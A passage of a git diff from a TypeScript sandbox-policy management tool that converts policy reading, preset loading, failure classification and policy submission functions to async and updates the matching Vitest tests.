for (const info of builtin) { @@ -129,7 +129,7 @@ function partitionPresets( const entry = presetEntry( info, "builtin", - loadPresetForSandbox(sandboxName, info.name), + await loadPresetForSandbox(sandboxName, info.name), verification, ); if (isApplied) { @@ -141,7 +141,7 @@ function partitionPresets( for (const info of customInfo) { const verification = resolveVerification(info.name, gatewayPresets); active.push( - presetEntry(info, "custom", loadPresetForSandbox(sandboxName, info.name), verification), + presetEntry(info, "custom", await loadPresetForSandbox(sandboxName, info.name), verification), ); } return { active, unapplied }; @@ -199,14 +199,14 @@ export interface BuildPolicyContextOptions { skipGatewayProbe?: boolean; } -function probeGatewayPresets( +async function probeGatewayPresets( sandboxName: string, options: BuildPolicyContextOptions, -): ReadonlyArray | null { +): Promise | null> { if (options.gatewayPresets !== undefined) return options.gatewayPresets; if (options.skipGatewayProbe) return null; try { - return getGatewayPresets(sandboxName); + return await getGatewayPresets(sandboxName); } catch { return null; } @@ -237,13 +237,13 @@ function probeGatewayPresets( * the verification annotation or redaction set changes, update those * tests in the same patch. */ -export function buildPolicyContext( +export async function buildPolicyContext( sandboxName: string, options: BuildPolicyContextOptions = {}, -): PolicyContext { - const gatewayPresets = probeGatewayPresets(sandboxName, options); +): Promise { + const gatewayPresets = await probeGatewayPresets(sandboxName, options); const appliedNames = new Set(gatewayPresets ?? []); - const { active, unapplied } = partitionPresets(sandboxName, appliedNames, gatewayPresets); + const { active, unapplied } = await partitionPresets(sandboxName, appliedNames, gatewayPresets); return { sandboxName, diff --git a/src/lib/policy/context.test.ts b/src/lib/policy/context.test.ts index 1c2a9dd308c..9e87b0a7c18 100644 --- a/src/lib/policy/context.test.ts +++ b/src/lib/policy/context.test.ts @@ -19,9 +19,9 @@ beforeEach(() => { { file: "npm.yaml", name: "npm", description: "npm registry" }, { file: "github.yaml", name: "github", description: "GitHub API" }, ]); - vi.mocked(policies.listCustomPresets).mockReturnValue([]); + vi.mocked(policies.listCustomPresets).mockResolvedValue([]); vi.mocked(policies.loadPresetForSandbox).mockImplementation( - (_sandbox, name) => + async (_sandbox, name) => `preset:\n name: ${name}\nnetwork_policies:\n ${name}:\n endpoints:\n - host: ${name}.example.com\n`, ); vi.mocked(policies.getPresetEndpoints).mockImplementation((content) => { @@ -31,9 +31,9 @@ beforeEach(() => { }); describe("policy context", () => { - it("derives active and inactive presets only from the live OpenShell view", () => { - vi.mocked(policies.getGatewayPresets).mockReturnValue(["npm"]); - const context = buildPolicyContext("alpha"); + it("derives active and inactive presets only from the live OpenShell view", async () => { + vi.mocked(policies.getGatewayPresets).mockResolvedValue(["npm"]); + const context = await buildPolicyContext("alpha"); expect(context.activePresets).toEqual([ expect.objectContaining({ name: "npm", verification: "verified" }), ]); @@ -43,9 +43,9 @@ describe("policy context", () => { expect(context).not.toHaveProperty("baselineExclusions"); }); - it("reports an unavailable gateway without falling back to registry state", () => { - vi.mocked(policies.getGatewayPresets).mockReturnValue(null); - const context = buildPolicyContext("alpha"); + it("reports an unavailable gateway without falling back to registry state", async () => { + vi.mocked(policies.getGatewayPresets).mockResolvedValue(null); + const context = await buildPolicyContext("alpha"); expect(context.activePresets).toEqual([]); expect(context.knownUnappliedPresets).toEqual( expect.arrayContaining([ @@ -54,39 +54,39 @@ describe("policy context", () => { ); }); - it("describes OpenShell as the enforcement owner", () => { - vi.mocked(policies.getGatewayPresets).mockReturnValue(["npm"]); - expect(renderPolicyContextMarkdown(buildPolicyContext("alpha"))).toContain( + it("describes OpenShell as the enforcement owner", async () => { + vi.mocked(policies.getGatewayPresets).mockResolvedValue(["npm"]); + expect(renderPolicyContextMarkdown(await buildPolicyContext("alpha"))).toContain( "policy is enforced by the OpenShell gateway", ); }); - it("includes live custom presets as active without a registry activation list", () => { - vi.mocked(policies.listCustomPresets).mockReturnValue([ + it("includes live custom presets as active without a registry activation list", async () => { + vi.mocked(policies.listCustomPresets).mockResolvedValue([ { file: "corp.yaml", name: "corp", description: "Corporate API" }, ]); - vi.mocked(policies.getGatewayPresets).mockReturnValue(["corp"]); - const context = buildPolicyContext("alpha"); + vi.mocked(policies.getGatewayPresets).mockResolvedValue(["corp"]); + const context = await buildPolicyContext("alpha"); expect(context.activePresets).toContainEqual( expect.objectContaining({ name: "corp", source: "custom", verification: "verified" }), ); }); - it("redacts private and internal hosts while retaining public host stems", () => { - vi.mocked(policies.getGatewayPresets).mockReturnValue(["npm"]); + it("redacts private and internal hosts while retaining public host stems", async () => { + vi.mocked(policies.getGatewayPresets).mockResolvedValue(["npm"]); vi.mocked(policies.getPresetEndpoints).mockReturnValue([ "registry.npmjs.org", "10.20.30.40", "metadata.google.internal", ]); - const [active] = buildPolicyContext("alpha").activePresets; + const [active] = (await buildPolicyContext("alpha")).activePresets; expect(active.allowedHostCategories).toEqual(["registry.npmjs.org"]); expect(active.redactedHostCount).toBe(2); }); - it("skips the live OpenShell probe when requested", () => { + it("skips the live OpenShell probe when requested", async () => { const gatewayProbe = vi.mocked(policies.getGatewayPresets); - const context = buildPolicyContext("alpha", { skipGatewayProbe: true }); + const context = await buildPolicyContext("alpha", { skipGatewayProbe: true }); expect(gatewayProbe).not.toHaveBeenCalled(); expect(context.activePresets).toEqual([]); expect(context.knownUnappliedPresets).toEqual( @@ -96,10 +96,10 @@ describe("policy context", () => { ); }); - it("renders a redacted summary and preserves the convenience command surface", () => { - vi.mocked(policies.getGatewayPresets).mockReturnValue(["npm"]); + it("renders a redacted summary and preserves the convenience command surface", async () => { + vi.mocked(policies.getGatewayPresets).mockResolvedValue(["npm"]); vi.mocked(policies.getPresetEndpoints).mockReturnValue(["registry.npmjs.org", "10.20.30.40"]); - const markdown = renderPolicyContextMarkdown(buildPolicyContext("alpha")); + const markdown = renderPolicyContextMarkdown(await buildPolicyContext("alpha")); expect(markdown).toContain("npmjs.org"); expect(markdown).not.toContain("10.20.30.40"); expect(markdown).toContain("nemoclaw alpha policy add "); diff --git a/src/lib/policy/failure-classifier.test.ts b/src/lib/policy/failure-classifier.test.ts index 3177622ce6c..52123bdbbc4 100644 --- a/src/lib/policy/failure-classifier.test.ts +++ b/src/lib/policy/failure-classifier.test.ts @@ -35,9 +35,9 @@ function context(verification: "verified" | "gateway-unavailable" = "verified"): } describe("access failure classification", () => { - it("uses live verified preset state for a high-confidence missing approval", () => { + it("uses live verified preset state for a high-confidence missing approval", async () => { expect( - classifyAccessFailure({ + await classifyAccessFailure({ sandboxName: "alpha", host: "api.slack.com", error: { status: 401 }, @@ -46,9 +46,9 @@ describe("access failure classification", () => { ).toEqual(expect.objectContaining({ kind: "missing-approval", confidence: "high" })); }); - it("keeps an unavailable live observation advisory", () => { + it("keeps an unavailable live observation advisory", async () => { expect( - classifyAccessFailure({ + await classifyAccessFailure({ sandboxName: "alpha", host: "api.slack.com", error: { code: "ETIMEDOUT" }, @@ -57,31 +57,35 @@ describe("access failure classification", () => { ).toEqual(expect.objectContaining({ kind: "blocked-by-policy", confidence: "low" })); }); - it("classifies an undeclared host as blocked by policy", () => { + it("classifies an undeclared host as blocked by policy", async () => { expect( - classifyAccessFailure({ - sandboxName: "alpha", - host: "unknown.example", - error: { code: "ENETUNREACH" }, - context: context(), - }).kind, + ( + await classifyAccessFailure({ + sandboxName: "alpha", + host: "unknown.example", + error: { code: "ENETUNREACH" }, + context: context(), + }) + ).kind, ).toBe("blocked-by-policy"); }); - it("reports unsupported capabilities before network heuristics", () => { + it("reports unsupported capabilities before network heuristics", async () => { expect( - classifyAccessFailure({ - sandboxName: "alpha", - host: "api.slack.com", - capability: { supported: false, reason: "not available" }, - context: context(), - }).kind, + ( + await classifyAccessFailure({ + sandboxName: "alpha", + host: "api.slack.com", + capability: { supported: false, reason: "not available" }, + context: context(), + }) + ).kind, ).toBe("unsupported"); }); - it("treats a network error on a live verified preset as upstream-unknown", () => { + it("treats a network error on a live verified preset as upstream-unknown", async () => { expect( - classifyAccessFailure({ + await classifyAccessFailure({ sandboxName: "alpha", host: "api.slack.com", error: { code: "EHOSTUNREACH" }, @@ -90,9 +94,9 @@ describe("access failure classification", () => { ).toEqual(expect.objectContaining({ kind: "unknown", confidence: "high" })); }); - it("keeps HTTP 403 on an active host ambiguous", () => { + it("keeps HTTP 403 on an active host ambiguous", async () => { expect( - classifyAccessFailure({ + await classifyAccessFailure({ sandboxName: "alpha", host: "api.slack.com", error: { status: 403 }, @@ -101,7 +105,7 @@ describe("access failure classification", () => { ).toEqual(expect.objectContaining({ kind: "missing-approval", confidence: "low" })); }); - it("reports a known but live-unapplied host as blocked by policy", () => { + it("reports a known but live-unapplied host as blocked by policy", async () => { const ctx = context(); ctx.activePresets = []; ctx.knownUnappliedPresets = [ @@ -115,7 +119,7 @@ describe("access failure classification", () => { }, ]; expect( - classifyAccessFailure({ + await classifyAccessFailure({ sandboxName: "alpha", host: "api.github.com", error: { status: 403 }, @@ -130,14 +134,16 @@ describe("access failure classification", () => { ); }); - it("falls back to unknown when there is no policy or approval signal", () => { + it("falls back to unknown when there is no policy or approval signal", async () => { expect( - classifyAccessFailure({ - sandboxName: "alpha", - host: "unknown.example", - error: { message: "application failed" }, - context: context(), - }).kind, + ( + await classifyAccessFailure({ + sandboxName: "alpha", + host: "unknown.example", + error: { message: "application failed" }, + context: context(), + }) + ).kind, ).toBe("unknown"); }); }); diff --git a/src/lib/policy/failure-classifier.ts b/src/lib/policy/failure-classifier.ts index 49d8d8428ac..92372c6d30d 100644 --- a/src/lib/policy/failure-classifier.ts +++ b/src/lib/policy/failure-classifier.ts @@ -101,14 +101,16 @@ function verificationNote(preset: PolicyContextPreset): string { return " The OpenShell gateway is unreachable, so current enforcement could not be verified."; } -function resolveContext(input: AccessFailureInput): PolicyContext { +async function resolveContext(input: AccessFailureInput): Promise { if (input.context) return input.context; const options: BuildPolicyContextOptions = input.gatewayPresets === undefined ? {} : { gatewayPresets: input.gatewayPresets }; - return buildPolicyContext(input.sandboxName, options); + return await buildPolicyContext(input.sandboxName, options); } -export function classifyAccessFailure(input: AccessFailureInput): AccessFailureClassification { +export async function classifyAccessFailure( + input: AccessFailureInput, +): Promise { if (input.capability && input.capability.supported === false) { const reason = input.capability.reason ?? "capability is not offered for this sandbox"; return { @@ -119,7 +121,7 @@ export function classifyAccessFailure(input: AccessFailureInput): AccessFailureC confidence: "high", }; } - const ctx = resolveContext(input); + const ctx = await resolveContext(input); const matched = findMatchingPreset(input.host, ctx.activePresets); const status = input.error?.status; const code = input.error?.code; diff --git a/src/lib/policy/index.ts b/src/lib/policy/index.ts index 0157db748b3..9893c03dfad 100644 --- a/src/lib/policy/index.ts +++ b/src/lib/policy/index.ts @@ -4,7 +4,6 @@ // Policy preset management — list, load, merge, and apply presets. import fs from "node:fs"; -import os from "node:os"; import path from "node:path"; import readline from "node:readline"; import { isDeepStrictEqual } from "node:util"; @@ -14,8 +13,8 @@ import { openshellNotFoundDiagnosticLines, namedOpenShellGateway, selectedOpenShellGateway, - syncCliOpenShellSandboxPolicyReader, - syncCliOpenShellSandboxPolicyWriter, + cliOpenShellSandboxPolicyReader, + cliOpenShellSandboxPolicyWriter, tryResolveOpenshellBinary, type OpenShellSandboxPolicySetOutcome, type OpenShellSandboxPolicySetSubmission, @@ -323,8 +322,11 @@ function liveCustomPresetContentFromPolicy(current: string, presetName: string): : null; } -function liveCustomPresetContent(sandboxName: string, presetName: string): string | null { - const current = readCurrentSandboxPolicy(sandboxName); +async function liveCustomPresetContent( + sandboxName: string, + presetName: string, +): Promise { + const current = await readCurrentSandboxPolicy(sandboxName); return current ? liveCustomPresetContentFromPolicy(current, presetName) : null; } @@ -396,11 +398,11 @@ function loadAgentPresetContent( * Resolve a preset across messaging, central or agent, and live custom sources. * Source misses stay silent so callers report only after the composite lookup fails. */ -function loadPresetForSandbox( +async function loadPresetForSandbox( sandboxName: string, presetName: string, options: SandboxPresetLoadOptions = {}, -): string | null { +): Promise { let sandboxAgent: string | null = null; let configuredMessagingChannels: string[] = []; let messagingConfig = options.messagingConfig; @@ -438,7 +440,7 @@ function loadPresetForSandbox( if (isMessagingChannelPolicyPreset(presetName)) return null; const builtinPresetContent = loadCentralPreset(presetName, { reportMissing: false }); - if (!builtinPresetContent) return liveCustomPresetContent(sandboxName, presetName); + if (!builtinPresetContent) return await liveCustomPresetContent(sandboxName, presetName); const resolvedPresetContent = loadAgentPresetContent(sandboxName, presetName, builtinPresetContent) || builtinPresetContent; return presetName === "outlook" && @@ -532,10 +534,10 @@ function filterSetupPolicyPresets( return presets.filter((preset) => setupPolicyPresetSupported(preset.name, options)); } -function listSetupPolicyPresets( +async function listSetupPolicyPresets( sandboxName: string, options: SetupPolicyPresetSupportOptions = {}, -): PresetInfo[] { +): Promise { let sandboxAgent: string | null = null; try { sandboxAgent = registry.getSandbox(sandboxName)?.agent ?? null; @@ -544,7 +546,7 @@ function listSetupPolicyPresets( } return [ ...filterSetupPolicyPresets(listPresets({ agent: options.agent ?? sandboxAgent }), options), - ...listCustomPresets(sandboxName), + ...(await listCustomPresets(sandboxName)), ]; } @@ -615,23 +617,6 @@ function assertOpenshellResolvable(options: { nonFatal?: boolean } = {}): boolea process.exit(1); } -/** Delete the private temp policy file and its directory, ignoring absence. */ -function tempPolicyRetentionError(tmpDir: string, reason: string): Error { - return new Error( - `Could not remove the temporary policy directory '${tmpDir}' (${reason}). It still holds ` + - "the composed sandbox policy; remove it before retrying.", - ); -} - -function removeTempPolicyMaterial(tmpDir: string): void { - try { - fs.rmSync(tmpDir, { recursive: true, force: true }); - } catch (error) { - throw tempPolicyRetentionError(tmpDir, error instanceof Error ? error.message : String(error)); - } - if (fs.existsSync(tmpDir)) throw tempPolicyRetentionError(tmpDir, "the path still exists"); -} - function policyObservationError(error: unknown): string { return error instanceof Error ? error.message : String(error); } @@ -652,15 +637,15 @@ function requirePolicyObservation(result: OpenShellSandboxResult): T { ); } -function readLivePolicyDocument( +async function readLivePolicyDocument( sandboxName: string, gatewayName: string, scope: "base" | "effective", timeoutMs?: number, runtimeSelection?: OpenShellRuntimeSelection, -): string { +): Promise { return requirePolicyObservation( - syncCliOpenShellSandboxPolicyReader.readSandboxPolicy({ + await cliOpenShellSandboxPolicyReader.readSandboxPolicy({ target: namedOpenShellGateway(gatewayName), sandboxName, scope, @@ -670,14 +655,14 @@ function readLivePolicyDocument( ).document; } -function readLivePolicyRevision( +async function readLivePolicyRevision( sandboxName: string, gatewayName: string, revision: number, runtimeSelection?: OpenShellRuntimeSelection, -): string { +): Promise { return requirePolicyObservation( - syncCliOpenShellSandboxPolicyReader.readSandboxPolicyRevision({ + await cliOpenShellSandboxPolicyReader.readSandboxPolicyRevision({ target: namedOpenShellGateway(gatewayName), sandboxName, revision, @@ -686,12 +671,12 @@ function readLivePolicyRevision( ).document; } -function inspectLivePolicyBoundary( +async function inspectLivePolicyBoundary( sandboxName: string, operation: string, requestedGatewayName?: string, runtimeSelection?: OpenShellRuntimeSelection, -): PolicyMutationContext { +): Promise { let sandbox: ReturnType; try { sandbox = registry.getSandbox(sandboxName); @@ -729,13 +714,13 @@ function inspectLivePolicyBoundary( } const target = namedOpenShellGateway(gatewayName); const inspection = requirePolicyObservation( - syncCliOpenShellSandboxPolicyReader.inspectSandboxPolicy({ + await cliOpenShellSandboxPolicyReader.inspectSandboxPolicy({ target, sandboxName, ...(runtimeSelection ? { runtimeSelection } : {}), }), ); - const basePolicyDocument = readLivePolicyDocument( + const basePolicyDocument = await readLivePolicyDocument( sandboxName, gatewayName, "base", @@ -751,48 +736,60 @@ function inspectLivePolicyBoundary( } /** Read the current live policy through the sandbox's recorded gateway binding. */ -export function inspectPolicyMutationContext( +export async function inspectPolicyMutationContext( sandboxName: string, operation: string, requestedGatewayName?: string, runtimeSelection?: OpenShellRuntimeSelection, -): PolicyMutationContext { - return inspectLivePolicyBoundary(sandboxName, operation, requestedGatewayName, runtimeSelection); +): Promise { + return await inspectLivePolicyBoundary( + sandboxName, + operation, + requestedGatewayName, + runtimeSelection, + ); } /** * Read the round-trippable base policy through the sandbox's recorded gateway. * Destructive lifecycle callers use this instead of the ambient CLI gateway. */ -export function captureRecordedSandboxBasePolicy( +export async function captureRecordedSandboxBasePolicy( sandboxName: string, operation: string, runtimeSelection?: OpenShellRuntimeSelection, -): string { - return inspectLivePolicyBoundary( - sandboxName, - operation, - runtimeSelection?.gatewayName, - runtimeSelection, +): Promise { + return ( + await inspectLivePolicyBoundary( + sandboxName, + operation, + runtimeSelection?.gatewayName, + runtimeSelection, + ) ).basePolicyDocument; } -function preparePolicyMutationContext( +async function preparePolicyMutationContext( sandboxName: string, operation: string, requestedGatewayName?: string, runtimeSelection?: OpenShellRuntimeSelection, -): PolicyMutationContext { - return inspectLivePolicyBoundary(sandboxName, operation, requestedGatewayName, runtimeSelection); +): Promise { + return await inspectLivePolicyBoundary( + sandboxName, + operation, + requestedGatewayName, + runtimeSelection, + ); } /** Re-read live state immediately before a policy mutation. */ -export function recheckPolicyMutationContext( +export async function recheckPolicyMutationContext( sandboxName: string, operation: string, previous: PolicyMutationContext, -): PolicyMutationContext { - const current = inspectPolicyMutationContext( +): Promise { + const current = await inspectPolicyMutationContext( sandboxName, operation, previous.gatewayName, @@ -823,15 +820,15 @@ export function rejectFinalPolicySetSubmission( } /** Confirm a policy submission through authoritative live readback. */ -export function confirmAppliedPolicySetSubmission( +export async function confirmAppliedPolicySetSubmission( submission: OpenShellSandboxPolicySetSubmission, sandboxName: string, desiredPolicyDocument: string, previous: PolicyMutationContext, operation: string, -): void { +): Promise { rejectFinalPolicySetSubmission(submission, operation); - verifyAppliedPolicyDocument(sandboxName, desiredPolicyDocument, previous); + await verifyAppliedPolicyDocument(sandboxName, desiredPolicyDocument, previous); } function reportPolicyObservationFailure(error: unknown): false { @@ -839,54 +836,37 @@ function reportPolicyObservationFailure(error: unknown): false { return false; } -function inspectLivePolicyForMutation( +async function inspectLivePolicyForMutation( sandboxName: string, operation: string, gatewayName?: string, runtimeSelection?: OpenShellRuntimeSelection, -): PolicyMutationContext | null { +): Promise { try { - return preparePolicyMutationContext(sandboxName, operation, gatewayName, runtimeSelection); + return await preparePolicyMutationContext( + sandboxName, + operation, + gatewayName, + runtimeSelection, + ); } catch (error) { reportPolicyObservationFailure(error); return null; } } -/** - * Submit a composed policy document through a private temp file and classify - * what OpenShell did with it. - * - * The typed policy writer captures nonzero results instead of ending the - * process. Owning the temp material here guarantees that it is removed before - * any caller decides how to handle the classified submission (#9206). - */ -function submitComposedPolicy( +async function submitComposedPolicy( sandboxName: string, policyDocument: string, gatewayName?: string, runtimeSelection?: OpenShellRuntimeSelection, -): OpenShellSandboxPolicySetSubmission { - // `mkdtempSync` creates nothing when it throws, so only the write and the - // submission need the cleanup boundary. Writing inside it keeps a failed or - // partial write from leaving the composed policy readable in $TMPDIR. - // - // A cleanup failure deliberately supersedes whatever the body produced: a - // policy document still readable on disk is the condition that must never be - // reported as a clean result. - const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-")); - try { - const tmpFile = path.join(tmpDir, "policy.yaml"); - fs.writeFileSync(tmpFile, policyDocument, { encoding: "utf-8", mode: 0o600 }); - return syncCliOpenShellSandboxPolicyWriter.setSandboxPolicy({ - target: gatewayName ? namedOpenShellGateway(gatewayName) : selectedOpenShellGateway(), - sandboxName, - policyPath: tmpFile, - ...(runtimeSelection ? { runtimeSelection } : {}), - }); - } finally { - removeTempPolicyMaterial(tmpDir); - } +) { + return await cliOpenShellSandboxPolicyWriter.setSandboxPolicy({ + target: gatewayName ? namedOpenShellGateway(gatewayName) : selectedOpenShellGateway(), + sandboxName, + document: policyDocument, + ...(runtimeSelection ? { runtimeSelection } : {}), + }); } /** @@ -909,12 +889,16 @@ function policySetFailure( ); } -export function verifyAppliedPolicyDocument( +export async function verifyAppliedPolicyDocument( sandboxName: string, desiredPolicyDocument: string, previous: PolicyMutationContext, -): void { - const readback = inspectPolicyDocumentReadback(sandboxName, desiredPolicyDocument, previous); +): Promise { + const readback = await inspectPolicyDocumentReadback( + sandboxName, + desiredPolicyDocument, + previous, + ); if (readback === "unavailable") { throw new PolicyObservationError( `NemoClaw applied the sandbox policy for '${sandboxName}', but could not verify the resulting base policy. The policy update is incomplete.`, @@ -927,14 +911,14 @@ export function verifyAppliedPolicyDocument( } } -function inspectPolicyDocumentReadback( +async function inspectPolicyDocumentReadback( sandboxName: string, desiredPolicyDocument: string, previous: PolicyMutationContext, -): "matched" | "different" | "unavailable" { +): Promise<"matched" | "different" | "unavailable"> { try { return policyDocumentsMatch( - readLivePolicyDocument( + await readLivePolicyDocument( sandboxName, previous.gatewayName, "base", @@ -1034,7 +1018,7 @@ function rebasePolicyDocumentOntoConcurrentEdit( * The submission controls the temp policy file, so the composed policy is already * deleted by the time this ends the process for a fatal caller (#9206). */ -export function setPolicyDocument( +export async function setPolicyDocument( sandboxName: string, policyDocument: string, options: { @@ -1044,13 +1028,13 @@ export function setPolicyDocument( context?: PolicyMutationContext; runtimeSelection?: OpenShellRuntimeSelection; } = {}, -): boolean { +): Promise { const operation = options.operation ?? "set the sandbox policy"; let context: PolicyMutationContext; try { context = options.context - ? recheckPolicyMutationContext(sandboxName, operation, options.context) - : preparePolicyMutationContext( + ? await recheckPolicyMutationContext(sandboxName, operation, options.context) + : await preparePolicyMutationContext( sandboxName, operation, options.runtimeSelection?.gatewayName ?? options.gatewayName, @@ -1068,7 +1052,7 @@ export function setPolicyDocument( for (let attempt = 1; attempt <= POLICY_RECONCILE_ATTEMPTS; attempt += 1) { if (attempt > 1) { try { - context = recheckPolicyMutationContext(sandboxName, operation, context); + context = await recheckPolicyMutationContext(sandboxName, operation, context); } catch (error) { console.error(` ${policyObservationError(error)}`); if (options.nonFatal) return false; @@ -1078,7 +1062,7 @@ export function setPolicyDocument( const originalDocument = context.basePolicyDocument; const originalVersion = context.inspection.policyIdentity.activeVersion; - const { outcome, status } = submitComposedPolicy( + const { outcome, status } = await submitComposedPolicy( sandboxName, requestedDocument, context.gatewayName, @@ -1092,7 +1076,7 @@ export function setPolicyDocument( let observed: PolicyMutationContext; try { - observed = preparePolicyMutationContext( + observed = await preparePolicyMutationContext( sandboxName, operation, context.gatewayName, @@ -1108,7 +1092,7 @@ export function setPolicyDocument( console.error(` ${policyObservationError(error)}`); } if (options.nonFatal) return false; - process.exit(1); + process.exit(status || 1); } const observedDocument = observed.basePolicyDocument; const observedVersion = observed.inspection.policyIdentity.activeVersion; @@ -1134,7 +1118,7 @@ export function setPolicyDocument( let externalDocument: string; try { externalDocument = requestedIsCurrent - ? readLivePolicyRevision( + ? await readLivePolicyRevision( sandboxName, context.gatewayName, observedVersion - 1, @@ -1598,13 +1582,13 @@ function openClawNpmExclusionStateError( export type OpenClawNpmCompatibilityState = "match" | "repair" | "excluded" | "drift"; -function getOpenClawNpmCompatibilityState( +async function getOpenClawNpmCompatibilityState( sandboxName: string, -): OpenClawNpmCompatibilityState | null { +): Promise { try { const baselinePolicyContent = resolveSandboxOpenClawNpmBaseline(sandboxName); if (!baselinePolicyContent) return "match"; - const currentPolicy = readCurrentSandboxPolicy(sandboxName); + const currentPolicy = await readCurrentSandboxPolicy(sandboxName); if (!currentPolicy) return null; const live = inspectLiveBaselineEntry(currentPolicy, OPENCLAW_NPM_BASELINE_KEY); if (live.state === "absent") return "excluded"; @@ -1792,7 +1776,7 @@ function removePresetFromPolicy( * Remove one built-in or namespaced custom preset from the live OpenShell * policy. No local preset attribution is read or written. */ -function removePreset( +async function removePreset( sandboxName: string, presetName: string, options: { @@ -1800,7 +1784,7 @@ function removePreset( presetContent?: string; runtimeSelection?: OpenShellRuntimeSelection; } = {}, -): boolean { +): Promise { // Guard against truncated sandbox names — WSL can truncate hyphenated // names during argument parsing, e.g. "my-assistant" → "m" if (!isValidName(sandboxName)) { @@ -1818,7 +1802,7 @@ function removePreset( } const operation = `remove policy preset '${presetName}'`; - const context = inspectLivePolicyForMutation( + const context = await inspectLivePolicyForMutation( sandboxName, operation, options.runtimeSelection?.gatewayName, @@ -1834,7 +1818,9 @@ function removePreset( const customPresetContent = liveCustomPresetContentFromPolicy(currentPolicy, presetName); const isCustom = customPresetContent !== null; const presetContent = - options.presetContent ?? customPresetContent ?? loadPresetForSandbox(sandboxName, presetName); + options.presetContent ?? + customPresetContent ?? + (await loadPresetForSandbox(sandboxName, presetName)); if (!presetContent) { console.error(` Cannot load preset: ${presetName}`); return false; @@ -1908,10 +1894,10 @@ function removePreset( // $TMPDIR (the cleanup doesn't run on process.exit). if (!assertOpenshellResolvable(options)) return false; if ( - !setPolicyDocument(sandboxName, updated, { + !(await setPolicyDocument(sandboxName, updated, { nonFatal: options.nonFatal, context, - }) + })) ) { return false; } @@ -1925,17 +1911,23 @@ function currentPolicyFromMutationContext(context: PolicyMutationContext): strin } /** Round-trippable live policy body from `--base`, or null when unreadable. */ -function readCurrentSandboxPolicy( +async function readCurrentSandboxPolicy( sandboxName: string, gatewayName?: string, runtimeSelection?: OpenShellRuntimeSelection, -): string | null { +): Promise { try { const selectedGateway = gatewayName ?? resolveSandboxGatewayName(registry.getSandbox(sandboxName)); return ( parseCurrentPolicyOrEmpty( - readLivePolicyDocument(sandboxName, selectedGateway, "base", undefined, runtimeSelection), + await readLivePolicyDocument( + sandboxName, + selectedGateway, + "base", + undefined, + runtimeSelection, + ), ) || null ); } catch { @@ -1987,10 +1979,10 @@ function getSandboxBaselineEntryDigest(sandboxName: string, key: string): string } /** Run one mutation against the sandbox's recorded OpenShell gateway. */ -function withRecordedSandboxGateway( +async function withRecordedSandboxGateway( sandboxName: string, - operation: (gatewayName: string) => boolean, -): boolean { + operation: (gatewayName: string) => Promise, +): Promise { assertNoOpenShellGatewayEndpointOverride(); const sandbox = registry.getSandbox(sandboxName); if (!sandbox) { @@ -2005,15 +1997,15 @@ type RestoreBaselineEntryOptions = { expectedTargetDigest?: string | null; }; -function excludeBaselineEntry( +async function excludeBaselineEntry( sandboxName: string, key: string, digest: string, options: { nonFatal?: boolean } = {}, -): boolean { - return withRecordedSandboxGateway(sandboxName, (gatewayName) => { +): Promise { + return await withRecordedSandboxGateway(sandboxName, async (gatewayName) => { const operation = `exclude baseline policy entry '${key}'`; - const context = inspectLivePolicyForMutation(sandboxName, operation, gatewayName); + const context = await inspectLivePolicyForMutation(sandboxName, operation, gatewayName); if (!context) return false; const currentPolicy = currentPolicyFromMutationContext(context); if (!currentPolicy) { @@ -2032,21 +2024,21 @@ function excludeBaselineEntry( return ( removed && assertOpenshellResolvable(options) && - setPolicyDocument(sandboxName, policy, { + (await setPolicyDocument(sandboxName, policy, { ...options, context, operation, - }) + })) ); }); } -function restoreBaselineEntry( +async function restoreBaselineEntry( sandboxName: string, key: string, options: RestoreBaselineEntryOptions = {}, -): boolean { - return withRecordedSandboxGateway(sandboxName, (gatewayName) => { +): Promise { + return await withRecordedSandboxGateway(sandboxName, async (gatewayName) => { let entry: PolicyObject | null; try { entry = getSandboxBaselineEntry(sandboxName, key); @@ -2068,7 +2060,7 @@ function restoreBaselineEntry( } if (!entry) return true; const operation = `restore baseline policy entry '${key}'`; - const context = inspectLivePolicyForMutation(sandboxName, operation, gatewayName); + const context = await inspectLivePolicyForMutation(sandboxName, operation, gatewayName); if (!context) return false; const currentPolicy = currentPolicyFromMutationContext(context); if (!currentPolicy) { @@ -2086,11 +2078,11 @@ function restoreBaselineEntry( const updated = mergeBaselineEntryIntoPolicy(currentPolicy, key, entry); return ( assertOpenshellResolvable(options) && - setPolicyDocument(sandboxName, updated, { + (await setPolicyDocument(sandboxName, updated, { ...options, context, operation, - }) + })) ); }); } @@ -2212,7 +2204,7 @@ async function selectForRemoval( * `openshell policy set --wait`. Custom preset identity is encoded in the * OpenShell rule keys instead of a local registry copy. */ -function applyPresetContent( +async function applyPresetContent( sandboxName: string, presetName: string, presetContent: string, @@ -2228,7 +2220,7 @@ function applyPresetContent( includeMessagingCredentialBindings?: boolean; runtimeSelection?: OpenShellRuntimeSelection; } = {}, -): boolean { +): Promise { // Guard against truncated sandbox names — WSL can truncate hyphenated // names during argument parsing, e.g. "my-assistant" → "m" if (!isValidName(sandboxName)) { @@ -2309,7 +2301,7 @@ function applyPresetContent( const operation = `apply policy preset '${presetName}'`; let context: PolicyMutationContext; try { - context = preparePolicyMutationContext( + context = await preparePolicyMutationContext( sandboxName, operation, options.runtimeSelection?.gatewayName, @@ -2420,10 +2412,10 @@ function applyPresetContent( if (policyChanged) { if ( - !setPolicyDocument(sandboxName, merged, { + !(await setPolicyDocument(sandboxName, merged, { nonFatal: options.nonFatal, context, - }) + })) ) { return false; } @@ -2439,12 +2431,12 @@ function applyPresetContent( * central preset directory, then delegates to `applyPresetContent`. Returns * `false` if the named preset does not exist. */ -function applyPreset( +async function applyPreset( sandboxName: string, presetName: string, options: Record = {}, -): boolean { - const presetContent = loadPresetForSandbox(sandboxName, presetName, { +): Promise { + const presetContent = await loadPresetForSandbox(sandboxName, presetName, { includeMessagingCredentialBindings: options.includeMessagingCredentialBindings === true, messagingConfig: options.messagingConfig as MessagingPolicyConfig | null | undefined, }); @@ -2452,7 +2444,7 @@ function applyPreset( console.error(` Cannot load preset: ${presetName}`); return false; } - return applyPresetContent(sandboxName, presetName, presetContent, options); + return await applyPresetContent(sandboxName, presetName, presetContent, options); } /** @@ -2461,7 +2453,7 @@ function applyPreset( * presets one-by-one, while avoiding one `openshell policy set --wait` per * preset during onboarding. */ -function applyPresets(sandboxName: string, presetNames: string[]): boolean { +async function applyPresets(sandboxName: string, presetNames: string[]): Promise { if (!isValidName(sandboxName)) { throw new Error( `Invalid or truncated sandbox name: ${diagnosticPreview(sandboxName)}. ` + @@ -2479,7 +2471,7 @@ function applyPresets(sandboxName: string, presetNames: string[]): boolean { }> = []; for 